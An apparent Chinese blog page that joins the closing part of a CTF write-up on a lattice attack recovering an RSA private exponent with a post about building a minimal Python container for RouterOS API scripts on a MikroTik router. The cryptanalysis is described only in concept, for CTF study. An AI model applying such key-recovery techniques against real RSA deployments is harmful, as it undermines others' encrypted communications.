所以有不等式 \[ \frac{n*2048+1024}{n+1} \gtrsim 1952 \] 解得\(n \geq 10\),所以我们取出10组数据构造格即可得到d,当然n取得越多正确率越高吧

总结

  • 这个格构造的时候,我们让目标向量的最后一项的位数尽可能接近\(C_i\)(因为\(K\)是我们自己取的参数),当最后一项远小于前面项时,他的变化对向量长度影响是极小的,但当它接近或是超过时,就会对目标向量的长度起主导作用。所以在构造格时,我们会尽可能的让目标向量内的元素处在同一数量级,我们把这个技巧叫做配平。(上述提到的只是其中一种配平操作)
  • 补充:对于没有K时,我们可以参考:https://ctf-wiki.org/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener/,给格右乘一个配平矩阵,对得到的新矩阵做运算,然后对得到的向量乘配平矩阵的逆得到真正的目标向量。

Why make it ?

最近在折腾协会的网络(主要是柏师傅)。刚搬到新家时,因为大伙工作的区域和路由器摆放的位置有点远,所以采取了用光纤将工作区和路由器连接的方式;但这有个小问题,光纤经过的拐角有点多,导致光损偏大,在路由器看来就是接口仰卧起坐,抖动严重。

很巧,工作区也有个网线接口,于是采取eoip将两块分隔的区域连接,目前看来效果不错(虽然中间也碰到了些问题就是了,这以后再说)。然后问题来了,我们需要在ax lite上部署两个container服务,一个是负责校园网登陆的,否则无法与对端连接;另一个是ddns的服务,其实一开始是准备用Ros自带的脚本的,但Cloudflare在国内会有访问问题,而阿里云的需要计算,所以采用container。

于是在一个夜晚一个想法诞生了

柏师傅:要不试试用python调RouterOS的api来代替脚本吧,这脚本难写的一批!

我:真的假的,真有活吗?

柏师傅:有活有活!go都有api库,python肯定有!

然后我就被忽悠上船了.jpg

大致思路

我们要做的无非就是两件事

  • 起个python容器
  • 跑python脚本

首先,先找个封装好的api库,我这边用的是librouteros https://github.com/luqasz/librouteros

OK,库有了,该打包python容器了。。。

真有这么简单吗?

容器打包

惊喜?!

然后我就惊喜的发现,alpine打包的带python的容器要50MB.。。。

这ax lite的ROM也就128MB,这怕不是根本跑不起来。。。

还是翻翻github吧,应该也有人闲着蛋疼缩过

然后我就找到了这个神奇的项目

tiny-python-docker-image

man!What can I say?

但这个项目有个小问题就是这个scratch镜像啊啥也没有,有些库会直接报错

换成alpine的话会加体积,在x86下会从23MB来到30MB左右

但万幸的是,在arm下体积会回到22.8MB左右,还好

pip在拉💩!

OK,python容器解决了

吗?

当我用pip安包时发现即使我卸载了pip,镜像的体积还是来到了32MB。。

🌿,之前做的都白干了,安装的pip在到处拉💩

之前也考虑过手动复制库到python目录下的site-packages中,但这样不太优雅,说到底最好还是pip,或者更好的方法。

是时候问问米奇喵喵屋了。

诶🤓!还真有。

用dive看看在哪拉的一拖然后手动扬掉。

好嘛,扬了!

1
2
3
4
RUN rm -rf /usr/lib/python${PYTHON_VERSION}/site-packages/pip* \
/usr/lib/python${PYTHON_VERSION}/site-packages/setuptools* \
/usr/lib/python${PYTHON_VERSION}/site-packages/pkg_resources* \
/usr/lib/python${PYTHON_VERSION}/ensurepip

其中ensurepip是自带的,但我们应该用不到pip了,或许后续会用到,但先扬了先。

然后我们就得到了一个非常小的镜像

好耶!

0%